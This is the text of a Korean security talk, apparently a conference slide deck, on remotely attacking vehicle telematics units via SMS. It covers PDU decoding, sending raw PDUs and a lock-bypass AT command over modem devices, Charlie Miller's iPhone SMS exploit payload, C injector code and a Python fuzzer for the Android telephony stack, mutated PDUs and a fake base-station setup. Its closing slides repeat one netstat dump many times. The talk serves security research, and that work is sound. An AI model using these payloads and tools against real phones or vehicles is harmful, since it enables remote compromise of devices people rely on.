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Summary

• SMS의 PDU 포맷 이해하기

• AT 커맨드로 SMS 보내보기

• 실제 SMS 공격 사례 분석

• Android Telephony Stack 분석

• SMS FUZZING



It’s possible to remote attack

SMS

TCU



왜 차량에 모뎀이?

• http://news.kotra.or.kr/user/globalAllBbs/kotranews/album/2/globalBb
sDataAllView.do?dataIdx=91740



국내 사례 - 현대

• https://www.genesis.com/kr/ko/genesis-membership-connected.html



국내 사례 - 기아

• http://uvo.kia.com/uvo/uvo_info.html



PDU 포맷의 이해

• 우리가 주고 받는 SMS가 실제로는 PDU라는
이름의 데이터 포맷으로 이루어져 있다. 

• PDU = Packet Data Unit

• PDU 데이터 안에는 각종 헤더와 SMS 문자
데이터 등이 포함되어 있다



수신 PDU 데이터 확인 예제



PDU Decoding

• https://www.diafaan.com/sms-tutorials/gsm-modem-tutorial/online-
sms-deliver-pdu-decoder/

• http://www.smspdu.com/ 



PDU 포맷 분석하기

• 0791280192919000040BA11020675200F200087180225
10333630400480069

HEX Data 필드 의미 필드 길이

07 SMSC 번호의 길이 : N1 1byte

91 번호의 타입 : 91 == International 1byte

280192919000 SMSC 번호 : 821029190900 N1-1(type) bytes

04 PDU Header : SMS_DELIVER 1byte

0B (11) 송신자의 번호 길이 : N2 1byte

A1 송신자 번호의 타입 == Local 1byte

1020675200F2 송신자 번호 : 01027625002 N2 bytes

00 TP-PID (Protocol Identifier) 1byte

08 TP-DCS (Data Encoding Schema) : UNICODE 1byte

71802251033363 TP-SCTS (Time Stamp) : 17/08/22 15:30:33 36(TZ) 7bytes

04 TP-UDL (User Data Length) : N3 1byte

00480069 TP-UD (User Data) : “Hi” N3 bytes



PDU Header 더 자세히 보기

• 04

– TP-MTI : 00

– TP-MMS : 1

– TP-SRI : 0

– TP-RP : 0

– TP-UDHI : 0

– TP-MTI 

– 00 : SMS-DELIVER

– 수신 SMS

– 01 : SMS-SUBMIT

– 송신 SMS



PDU Header 더 자세히 보기

• 04

– TP-MTI : 00

– TP-MMS : 1

– TP-SRI : 0

– TP-RP : 0

– TP-UDHI : 0

– TP-MTI 

– 00 : SMS-DELIVER

– 수신 SMS

– 01 : SMS-SUBMIT

– 송신 SMS



PDU로 SMS 보내보기

Online PDU Converter : http://rednaxela.net/pdu.php



PDU로 SMS 보내보기

cat /dev/smd0 &
./busybox printf "at+cmgf=0\r\n" > /dev/smd0    // PDU MODE
./busybox printf "at+cmgs=18\r\n" >/dev/smd0   // Length
./busybox printf
"079128011111222201000B811080423429F60004054855583894\x
1a" > /dev/smd0

Online PDU Converter : http://rednaxela.net/pdu.php



Modem device를 통해 SMS 보내기

screen /dev/ttyACM0 115200

at+cmgf=0
at+cmgs=24
079128011111222201000B811020675200F200000CF4F29C0E6A97E
7F3F0B90C[CTRL+Z]

+CMGS: 59
OK



Modem device를 통해 전화 걸기

• ATD01027625002;



Modem device를 통해 Lock 풀기

• AT%KEYLOCK=0

패치 전

패치 후



Modem device를 통해 Lock 풀기

• https://www.youtube.com/watch?v=O4jKegDiEpM



MMS(Multimedia Messaging Service) 
보내기



MMS의 PDU 데이터

• shell@b1:/ $ logcat | grep PDU
• I/[SMS_LP]( 1664): 

processUnsolicited():RIL_UNSOL_RESPONSE_NEW_SM
S, MT PDU = 
0791280192919000400BA11020675200F200047180326
1211263820B05040B8423F00003770201770622617070
6C69636174696F6E2F766E642E7761702E6D6D732D6
D65737361676500AF848C829831397748384E4730433
14958443030008D928A808E01A788058103093A80836
87474703A2F2F642D6D6D73632E6B746677696E672E
636F6D3A393038332F31397748384E47304331495844
303000

• I/[SMS_LP]( 1664): 
processUnsolicited():RIL_UNSOL_RESPONSE_NEW_SM
S, MT PDU = 
0791280192919000440BA11020675200F200047180326
12112632E0B05040B8423F00003770202890F800DEA3
03130323736323530303200960FEA41616161616161616
16161616100



PDU 1/2



PDU 2/2



TP-UDHI

• SMS에 추가 헤더를 포함시킴



다르게 해석되는 User Data

• shell@b1:/ $ logcat | grep PDU
• I/[SMS_LP]( 1664): 

processUnsolicited():RIL_UNSOL_RESPONSE_NEW_SM
S, MT PDU = 
0791280192919000400BA11020675200F200047180326
1211263820B05040B8423F00003770201770622617070
6C69636174696F6E2F766E642E7761702E6D6D732D6
D65737361676500AF848C829831397748384E4730433
14958443030008D928A808E01A788058103093A80836
87474703A2F2F642D6D6D73632E6B746677696E672E
636F6D3A393038332F31397748384E47304331495844
303000

• I/[SMS_LP]( 1664): 
processUnsolicited():RIL_UNSOL_RESPONSE_NEW_SM
S, MT PDU = 
0791280192919000440BA11020675200F200047180326
12112632E0B05040B8423F00003770202890F800DEA3
03130323736323530303200960FEA41414141414141414
14141414100



다르게 해석되는 User Data

필드 의미 필드 길이

UDHL (User Data Header Length) 1byte

IEI (Identity Element Identifier) 1byte

IEDL (Length of the Information Element Data) N-1(type) bytes

IED (Information Element Data) Nbyte



다르게 해석되는 User Data

• 820B05040B8423F000037702017706226170706C69636174696F6E2F766E642E7761702E6D6D
732D6D65737361676500AF848C829831397748384E473043314958443030008D928A808E01A7
88058103093A8083687474703A2F2F642D6D6D73632E6B746677696E672E636F6D3A3930383
32F31397748384E47304331495844303000

• 2E0B05040B8423F00003770202890F800DEA303130323736323530303200960FEA41414141414
14141414141414100

• 82 : TP-UDL (User Data Length)

• 0B : UDHL (User Data Header Length)

• IE : Information Elements
– 05 : IEI (Identity Element Identifier) 

• Application Port (16bit mode)

– 04 : IEDL (Length of the IE Data)

• 0B84 (2948 - WAP push)

• 23F0 (9200)



IEI (Identity Element Identifier)

* ftp://www.3gpp.org/tsg_t/TSG_T/TSGT_07/Docs/PDFs/TP-000043.pdf



Samsung Galaxy 취약점

• https://www.contextis.com/blog/wap-just-happened-my-
samsung-galaxy



Application Port

• Port 2948 = WAP push

– Wireless Application Protocol 

• 무선 어플리케이션 프로토콜

• 무선 통신을 사용하는 응용 프로그램의 국제 표준

• https://namu.wiki/w/ 무선%20애플리케이션%20프로토콜

• Port 5499 = visual voicemail

• 등등



두 번째 Information Element

• 820B05040B8423F000037702017706226170706C69636174696F6E2F766E642E7761702E6D6D
732D6D65737361676500AF848C829831397748384E473043314958443030008D928A808E01A7
88058103093A8083687474703A2F2F642D6D6D73632E6B746677696E672E636F6D3A3930383
32F31397748384E47304331495844303000

• 2E0B05040B8423F00003770202890F800DEA303130323736323530303200960FEA41414141414
14141414141414100

• IE : Information Elements

– 00 : IEI (Identity Element Identifier) 
• 00 : Concatenated SMS

– 03 : IEDL (Length of the IE Data)

• 77 : Reference Number

• 02 : Total number of messages

• 01 : Number of current message

• 참고 : https://www.clockworksms.com/blog/concatenated-sms/



User Data 영역

• 820B05040B8423F000037702017706226170706C69636174696F6E2F766E642E7761702E6D6D
732D6D65737361676500AF848C829831397748384E473043314958443030008D928A808E01A7
88058103093A8083687474703A2F2F642D6D6D73632E6B746677696E672E636F6D3A3930383
32F31397748384E47304331495844303000

• 2E0B05040B8423F00003770202890F800DEA303130323736323530303200960FEA41414141414
14141414141414100

WAP Push Header



User Data 영역

D/WAP PUSH( 1636): Rx: b006226170706c69636174696f6e2f766e642e7761702e6d6d732d6d6
5737361676500af848c8298343577483952323048305446343030008d928a808e01ac88058103093
a8083687474703a2f2f642d6d6d73632e6b746677696e672e636f6d3a393038332f3435774839523
2304830544634303000890f800dea303130323736323530303200960fea414141414141414141414
1414100
V/WAP PUSH( 1636): appid found: 4:application/vnd.wap.mms-message
W/WAP PUSH( 1636): wap push manager not found!
V/WAP PUSH( 1636): fall back to existing handler
V/WAP PUSH( 1636): Delivering MMS to: com.android.mms com.android.mms.transactio
n.PushReceiver
D/GsmInboundSmsHandler( 1636): dispatchWapPdu() returned -1
http://mmsc.ktfwing.com:9082|Proxy:|Port:
V/Mms:transaction( 6933):       url = http://d-mmsc.ktfwing.com:9083
/29wH9R2151KKA00
V/Mms:transaction( 6933): hostUrl.getHost()=d-mmsc.ktfwing.com hostUrl.getPort()
=9083

>>> str = 
"b006226170706c69636174696f6e2f766e642e7761702e6d6d732d6d65737361676500af848c
8298343577483952323048305446343030008d928a808e01ac88058103093a8083687474703a
2f2f642d6d6d73632e6b746677696e672e636f6d3a393038332f3435774839523230483054463
4303000890f800dea303130323736323530303200960fea4141414141414141414141414100“

>>> str.decode("hex")
'\xb0\x06"application/vnd.wap.mms-
message\x00\xaf\x84\x8c\x82\x9845wH9R20H0TF400\x00\x8d\x92\x8a\x80\x8e\x
01\xac\x88\x05\x81\x03\t:\x80\x83http://d-
mmsc.ktfwing.com:9083/45wH9R20H0TF400\x00\x89\x0f\x80\r\xea01027625002\x00\
x96\x0f\xeaAAAAAAAAAAAAA\x00'



Concatenated SMS

• 일반 SMS의 최대 길이는 160자
– 7-bit encoding 기준
– 8-bit encoding에선 140자

• Concatenated SMS를 이용하여 긴 길이의 문자
전송 가능

• PDU1

• PDU2

IEI IEDL Reference
Number

Total
Number

This
Number

00 03 77 2 1

IEI IEDL Reference
Number

Total
Number

This
Number

00 03 77 2 2



Case study : iphone SMS RCE



Charlie Miller’s Payload

• 0791947106004034c40d91947196466656
f8000490108211421540040400030120



Charlie Miller’s Payload

• SMS PDU : 
0791947106004034c40d91947196466656f80004901082114215400404000
30120

– 07 : SMSC length
– 91 : type of address 
– 947106004034 : SMSC
– c4 : PDU Header  Additional header
– 0d : length
– 91 : type of address
– 947196466656f8 : 송신자 address
– 00 : TP-PID
– 04 : TP-DCS
– 90108211421540 : TP-SCTS : time stamp
– 04 : TP-UDL length

• 0400030120 : TP-UD (User Data)
– 00 : IEI == Concatenated message
– 03 : 3 bytes

» 01 : reference number
» 20 : total number of messages
» [none] : this message number



Charlie Miller’s Payload

• 00 : IEI == Concatenated message
– 03 : 3 bytes

• 01 : reference number

• 20 : total number of messages

• [none] : this message number (일부러 1바이트 부족하게 놔둠)
– 해당 값은 -1이 되어버림 (error return)

– 마침 이 부분이 array의 index로 사용되면서 out of bound bug 발생

• [Controlled_Address] | [ S0 S1 S2 S3 S4 ] 와 같이
heap을 구성한 후, S0~S4 array의 -1로 접근 => 
string_array[-1] =>
Controlled Address의 값을 SMS contents로 변조 가능



SMS Fuzzing



SMS 전송 시의 문제점

• SMS 문자 전송료 과금

• 다량의 문자 전송 시 통신사의 모니터링, 차단 가능성

• 조작된 PDU 전송 불가
– 중간 경유 서버들에 의한 packet drop

– 중간 경유 서버들에 의한 PDU Data 가공
• MMS가 서버로 저장된 후 그 URL이 상대방에게 전달 됨

• 특정 payload가 통신사 서버를 오작동 시킬 수 있음



Android telephony stack

 QUALCOMM MODEM 

 /sbin/rild

 /var/rild 소켓

 com.android.mms

 /dev/smdcntl0

 com.android.phone

 /usr/bin/qmuxd

 /var/qmux_connect_socket



SMS 수신 시의 이동 흐름

Qualcomm
Modem

/usr/bin/qmuxdQMI 
/dev/smdcntl0

/sbin/rild

/var/qmux_connect_socket

com.android.phone
/var/rild

SMS



SMS Fuzzing 가능 구간

Qualcomm
Modem

/usr/bin/qmuxdQMI
/dev/smdcntl0

/sbin/rild

/var/qmux_connect_socket

com.android.phone
/var/rild

SMS



SMS Fuzzing
// QMUXD에서 신호가 오면..
if (pfd[0].revents & POLLIN == POLLIN && pfd[0].fd == smd_rild_c) {

char buffer[1024*8] = {0};
int rb = read(smd_rild_c, buffer, sizeof(buffer));
if (rb <= 0) {

close(smd_rild_c);
smd_rild_c = -1;

}
else {

// MODEM으로 전달 ****
int wb = write(smdreal, buffer, rb);
if (wb <= 0) {

printf("error writing to smdreal\n");
}

}
}

// MODEM에서 신호가 오면..
if (pfd[1].revents & POLLIN == POLLIN) {

char buffer[1024*8] = {0};
int rb = read(smdreal, buffer, sizeof(buffer));
if (rb <= 0) {

printf("error reading from smdreal\n");
}

else {

// QMUXD로 전달
int wb = write(smd_rild_c, buffer, rb);
if (wb <= 0) {

printf("error writing to smb_rild_c\n");
close(smd_rild_c);
smd_rild_c = -1;

}
}

}



SMS Fuzzing

// 서버에 연결이 들어오면..
if (pfd[2].revents & POLLIN == POLLIN && pfd[2].fd == nss) {

printf("client connected!\n");
nsc = accept(nss, NULL, NULL);
if (nsc < 0) {

nsc = -1;
}
else {

if (dolog) fprintf(log, "fuzz network connected\n");
}

}
// 클라이언트로부터 데이터가 들어오면..
else if (pfd[2].revents & POLLIN == POLLIN && pfd[2].fd == nsc) {

char buffer[4096] = {0};
int rb = read(nsc, buffer, sizeof(buffer));
if (rb <= 0) {

close(nsc);
nsc = -1;
if (dolog) fprintf(log, "fuzz network disconnected\n");

}
else {

// QMUXD로 전달
int wb = write(smd_rild_c, buffer, rb);
if (wb <= 0) {

printf("fuzz write failed\n");
}

}
}



SMS Fuzzing

• Phone side

– ./injectord &



SMS Fuzzing

• PC Side

– python sms_fuzzing.py



import socket
import time

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(("127.0.0.1", 5050))
i = 0

payload = 
"013f0080050104000001003300160100001121000002000000061900040ba11010325476f80008718042712595630600310033003115080007912801
92919000"

#time

for n in range(0x41, 0x41+28):
i = i + 1

data = payload[:94] + "00" + chr(n).encode('hex') + "00" + chr(n).encode('hex') + "00" + chr(n).encode('hex') + payload[94+12:]

data = data.decode('hex')
#print data    
print "\n\n[%d] send payload : %s\n" % (i, data)
client_socket.send(data)
time.sleep(1)

client_socket.close()
print "Finished"

sms_fuzzing.py



07919471173254F6440D91947187674523F10000993092516195805A1CBC0AE0183C3E3C3E3C3E3C3E3C3E3C3E3C3E3C3E3C3E3C3E3C3E3C3EFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F

07919471173254F6440D91947187674523F10000993092516195808215BA353B746F756368202F746D702F53554C4C45593B6AB55AAD56ABD56AB
55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD
56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD16

07919471173254F6440D91947187674523F10000993092516195806C23B9212525252525252525252525252525252525252525252525252525252525
25252525B82FEE8BFBE2BEB82FEE8BFBE2BEB82FEE8BFBE2BEB82FEE8BFBE2BEB82FEE8BFBE2BEB82FEE8BFBE2BEB82FEE8BFBE2BEB82FEE8B0B

07919471173254F6440D91947187674523F1000099309251619580974FF74D2F2E2E2E2F414141414141414141414141414141414141414141414141
414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141DBED76BBDD6EB7DBED76BB
DD6EB7DBED76BBDD6EB7DBED76BBDD6EB7DBED76BBDD6EB7DBED76BBDD6E01

07919471173254F6440D91947187674523F10000993092516195800B06163C5C5C3F5C25180C

07919471173254F6440D91947187674523F1000099309251619580885FD55D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D
3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3
D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D140A8542A15028140A8585

07919471173254F6440D91947187674523F10000993092516195809279A6772A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A
2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2
A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A

07919471173254F6440D91947187674523F10000993092516195807A40123E3131313131313131313131313131313131313131313131313131313131
31313131313131313131313131313131313131313131313131313131313131313172B95E2ED7CBE57AB95C2F97EBE572BD5CAE97CBF572B95E65FAF
8050FCFE77732

07919471173254F6440D91947187674523F10000993092516195809F87CD22DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBE
EFDEADBEEFDEAD616127272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272
727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727

07919471173254F6440D91947187674523F100009930925161958077168B143F3F3F3F3F3F3F3F3F3F3F3F3F3F3F3F3F3F3F3FF7FBFD7EBFDFEFF7FBFD
7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEF
F7FBFD7EBFDFEFF701

Mutated PDU datas



• BTS : Base Transceiver Station

참고 : Fake BTS



• Software
– OpenBTS

• Hardware
– USRP N210

• OS
– Debian 6.0

• 특징
– 통신사의 방해를 받지 않음
– 타겟의 전화번호를 몰라도 공격 가능
– 차량 근거리에서 공격 가능

참고 : Fake BTS



결론

• SMS를 이용하여 TCU를 원격 장악 가능

• 기능이 다양한 만큼 공격 벡터가 많음

• 후킹을 통해 폰 내에서 SMS Fuzzing 가능

• SMS는 차량에 대한 가장 위험한 공격벡터 중
하나가 될 수 있음



Q/A



감사합니다!



기타 참고자료



송신 SMS vs 수신 SMS

• 송신 SMS (SMS-SUBMIT)
– 079128012143214301000B811030503184F30

00004F4F29C0E

– “test” 송신

• 수신 SMS (SMS-DELIVER)
– 0791280192919000040BA11030503184F3000

07180329175716304F4F29C0E

– “test 수신”



SMS-SUBMIT

• 송신 SMS
– 0791280121432143

01000B8110305031
84F3000004F4F29
C0E

• PDU Header : 0x01
– TP-MTI : 01

• TP-MR 필드 추가
(1byte)



SMS-DELIVER

• 수신 SMS
– 0791280192919000

040BA1103050318
4F3000071803291
75716304F4F29C0
E

• PDU Header : 0x04
– TP-MTI : 00

– TP-MMS : 1



PDU-Header in SMS-SUBMIT

• 01 = SMS_SUBMIT

* http://www.sendsms.cn/old/download/wavecom/PDU%B6%CC%D0%C5%CF%A2/SMS_PDU-mode.PDF
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Android telephony stack

 QUALCOMM MODEM 

 /sbin/rild



/ # netstat -anp
…
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 3 [ ] STREAM CONNECTED 1787 226/atfwd_daemon /var/qmux_client_socket 226
unix 3 [ ] STREAM CONNECTED 1834 259/qmi_shutdown_mo /var/qmux_client_socket 259
unix 2 [ ACC ] STREAM LISTENING 1895 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1927 256/netmgrd /var/qmux_client_socket 256
unix 2 [ ACC ] STREAM LISTENING 1971 329/rild /var/rild
unix 2 [ ACC ] STREAM LISTENING 1972 329/rild /var/rild-debug
unix 3 [ ] STREAM CONNECTED 1973 329/rild /var/qmux_client_socket 329
unix 2 [ ACC ] STREAM LISTENING 1811 250/adbd @jdwp-control
unix 2 [ ACC ] STREAM LISTENING 1906 330/commander @COMMANDER
unix 4 [ ] DGRAM 1868 280/syslogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 1908 331/wifi_daemon /tmp/wifi
unix 2 [ ACC ] STREAM LISTENING 1922 338/FOTA_DAEMON /tmp/ua
unix 2 [ ACC ] STREAM LISTENING 1979 327/start @android
unix 2 [ ACC ] STREAM LISTENING 1930 339/debuggerd @debuggerd
unix 3 [ ] STREAM CONNECTED 2040 250/adbd
unix 3 [ ] STREAM CONNECTED 2039 250/adbd
unix 2 [ ] STREAM CONNECTED 1991 327/start @android
unix 3 [ ] STREAM CONNECTED 1985 329/rild /var/rild
unix 3 [ ] STREAM CONNECTED 1984 363/com.android.phone
unix 2 [ ] DGRAM 1982 363/com.android.phone
unix 3 [ ] STREAM CONNECTED 1976 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1966 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1928 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1925 242/qmuxd /var/qmux_connect_socket
unix 2 [ ] DGRAM 1871 286/klogd
unix 3 [ ] STREAM CONNECTED 1809 250/adbd
unix 3 [ ] STREAM CONNECTED 1808 250/adbd
/ #

Rild의 socket 분석



/ # netstat -anp
…
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 3 [ ] STREAM CONNECTED 1787 226/atfwd_daemon /var/qmux_client_socket 226
unix 3 [ ] STREAM CONNECTED 1834 259/qmi_shutdown_mo /var/qmux_client_socket 259
unix 2 [ ACC ] STREAM LISTENING 1895 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1927 256/netmgrd /var/qmux_client_socket 256
unix 2 [ ACC ] STREAM LISTENING 1971 329/rild /var/rild
unix 2 [ ACC ] STREAM LISTENING 1972 329/rild /var/rild-debug
unix 3 [ ] STREAM CONNECTED 1973 329/rild /var/qmux_client_socket 329
unix 2 [ ACC ] STREAM LISTENING 1811 250/adbd @jdwp-control
unix 2 [ ACC ] STREAM LISTENING 1906 330/commander @COMMANDER
unix 4 [ ] DGRAM 1868 280/syslogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 1908 331/wifi_daemon /tmp/wifi
unix 2 [ ACC ] STREAM LISTENING 1922 338/FOTA_DAEMON /tmp/ua
unix 2 [ ACC ] STREAM LISTENING 1979 327/start @android
unix 2 [ ACC ] STREAM LISTENING 1930 339/debuggerd @debuggerd
unix 3 [ ] STREAM CONNECTED 2040 250/adbd
unix 3 [ ] STREAM CONNECTED 2039 250/adbd
unix 2 [ ] STREAM CONNECTED 1991 327/start @android
unix 3 [ ] STREAM CONNECTED 1985 329/rild /var/rild
unix 3 [ ] STREAM CONNECTED 1984 363/com.android.phone
unix 2 [ ] DGRAM 1982 363/com.android.phone
unix 3 [ ] STREAM CONNECTED 1976 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1966 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1928 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1925 242/qmuxd /var/qmux_connect_socket
unix 2 [ ] DGRAM 1871 286/klogd
unix 3 [ ] STREAM CONNECTED 1809 250/adbd
unix 3 [ ] STREAM CONNECTED 1808 250/adbd
/ #

Rild의 socket 분석



/ # netstat -anp
…
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 3 [ ] STREAM CONNECTED 1787 226/atfwd_daemon /var/qmux_client_socket 226
unix 3 [ ] STREAM CONNECTED 1834 259/qmi_shutdown_mo /var/qmux_client_socket 259
unix 2 [ ACC ] STREAM LISTENING 1895 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1927 256/netmgrd /var/qmux_client_socket 256
unix 2 [ ACC ] STREAM LISTENING 1971 329/rild /var/rild
unix 2 [ ACC ] STREAM LISTENING 1972 329/rild /var/rild-debug
unix 3 [ ] STREAM CONNECTED 1973 329/rild /var/qmux_client_socket 329
unix 2 [ ACC ] STREAM LISTENING 1811 250/adbd @jdwp-control
unix 2 [ ACC ] STREAM LISTENING 1906 330/commander @COMMANDER
unix 4 [ ] DGRAM 1868 280/syslogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 1908 331/wifi_daemon /tmp/wifi
unix 2 [ ACC ] STREAM LISTENING 1922 338/FOTA_DAEMON /tmp/ua
unix 2 [ ACC ] STREAM LISTENING 1979 327/start @android
unix 2 [ ACC ] STREAM LISTENING 1930 339/debuggerd @debuggerd
unix 3 [ ] STREAM CONNECTED 2040 250/adbd
unix 3 [ ] STREAM CONNECTED 2039 250/adbd
unix 2 [ ] STREAM CONNECTED 1991 327/start @android
unix 3 [ ] STREAM CONNECTED 1985 329/rild /var/rild
unix 3 [ ] STREAM CONNECTED 1984 363/com.android.phone
unix 2 [ ] DGRAM 1982 363/com.android.phone
unix 3 [ ] STREAM CONNECTED 1976 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1966 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1928 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1925 242/qmuxd /var/qmux_connect_socket
unix 2 [ ] DGRAM 1871 286/klogd
unix 3 [ ] STREAM CONNECTED 1809 250/adbd
unix 3 [ ] STREAM CONNECTED 1808 250/adbd
/ #

Rild의 socket 분석



/ # netstat -anp
…
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 3 [ ] STREAM CONNECTED 1787 226/atfwd_daemon /var/qmux_client_socket 226
unix 3 [ ] STREAM CONNECTED 1834 259/qmi_shutdown_mo /var/qmux_client_socket 259
unix 2 [ ACC ] STREAM LISTENING 1895 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1927 256/netmgrd /var/qmux_client_socket 256
unix 2 [ ACC ] STREAM LISTENING 1971 329/rild /var/rild
unix 2 [ ACC ] STREAM LISTENING 1972 329/rild /var/rild-debug
unix 3 [ ] STREAM CONNECTED 1973 329/rild /var/qmux_client_socket 329
unix 2 [ ACC ] STREAM LISTENING 1811 250/adbd @jdwp-control
unix 2 [ ACC ] STREAM LISTENING 1906 330/commander @COMMANDER
unix 4 [ ] DGRAM 1868 280/syslogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 1908 331/wifi_daemon /tmp/wifi
unix 2 [ ACC ] STREAM LISTENING 1922 338/FOTA_DAEMON /tmp/ua
unix 2 [ ACC ] STREAM LISTENING 1979 327/start @android
unix 2 [ ACC ] STREAM LISTENING 1930 339/debuggerd @debuggerd
unix 3 [ ] STREAM CONNECTED 2040 250/adbd
unix 3 [ ] STREAM CONNECTED 2039 250/adbd
unix 2 [ ] STREAM CONNECTED 1991 327/start @android
unix 3 [ ] STREAM CONNECTED 1985 329/rild /var/rild
unix 3 [ ] STREAM CONNECTED 1984 363/com.android.phone
unix 2 [ ] DGRAM 1982 363/com.android.phone
unix 3 [ ] STREAM CONNECTED 1976 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1966 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1928 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1925 242/qmuxd /var/qmux_connect_socket
unix 2 [ ] DGRAM 1871 286/klogd
unix 3 [ ] STREAM CONNECTED 1809 250/adbd
unix 3 [ ] STREAM CONNECTED 1808 250/adbd
/ #

Rild의 socket 분석



/ # netstat -anp
…
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 3 [ ] STREAM CONNECTED 1787 226/atfwd_daemon /var/qmux_client_socket 226
unix 3 [ ] STREAM CONNECTED 1834 259/qmi_shutdown_mo /var/qmux_client_socket 259
unix 2 [ ACC ] STREAM LISTENING 1895 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1927 256/netmgrd /var/qmux_client_socket 256
unix 2 [ ACC ] STREAM LISTENING 1971 329/rild /var/rild
unix 2 [ ACC ] STREAM LISTENING 1972 329/rild /var/rild-debug
unix 3 [ ] STREAM CONNECTED 1973 329/rild /var/qmux_client_socket 329
unix 2 [ ACC ] STREAM LISTENING 1811 250/adbd @jdwp-control
unix 2 [ ACC ] STREAM LISTENING 1906 330/commander @COMMANDER
unix 4 [ ] DGRAM 1868 280/syslogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 1908 331/wifi_daemon /tmp/wifi
unix 2 [ ACC ] STREAM LISTENING 1922 338/FOTA_DAEMON /tmp/ua
unix 2 [ ACC ] STREAM LISTENING 1979 327/start @android
unix 2 [ ACC ] STREAM LISTENING 1930 339/debuggerd @debuggerd
unix 3 [ ] STREAM CONNECTED 2040 250/adbd
unix 3 [ ] STREAM CONNECTED 2039 250/adbd
unix 2 [ ] STREAM CONNECTED 1991 327/start @android
unix 3 [ ] STREAM CONNECTED 1985 329/rild /var/rild
unix 3 [ ] STREAM CONNECTED 1984 363/com.android.phone
unix 2 [ ] DGRAM 1982 363/com.android.phone
unix 3 [ ] STREAM CONNECTED 1976 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1966 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1928 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1925 242/qmuxd /var/qmux_connect_socket
unix 2 [ ] DGRAM 1871 286/klogd
unix 3 [ ] STREAM CONNECTED 1809 250/adbd
unix 3 [ ] STREAM CONNECTED 1808 250/adbd
/ #

Rild의 socket 분석



/ # netstat -anp
…
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 3 [ ] STREAM CONNECTED 1787 226/atfwd_daemon /var/qmux_client_socket 226
unix 3 [ ] STREAM CONNECTED 1834 259/qmi_shutdown_mo /var/qmux_client_socket 259
unix 2 [ ACC ] STREAM LISTENING 1895 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1927 256/netmgrd /var/qmux_client_socket 256
unix 2 [ ACC ] STREAM LISTENING 1971 329/rild /var/rild
unix 2 [ ACC ] STREAM LISTENING 1972 329/rild /var/rild-debug
unix 3 [ ] STREAM CONNECTED 1973 329/rild /var/qmux_client_socket 329
unix 2 [ ACC ] STREAM LISTENING 1811 250/adbd @jdwp-control
unix 2 [ ACC ] STREAM LISTENING 1906 330/commander @COMMANDER
unix 4 [ ] DGRAM 1868 280/syslogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 1908 331/wifi_daemon /tmp/wifi
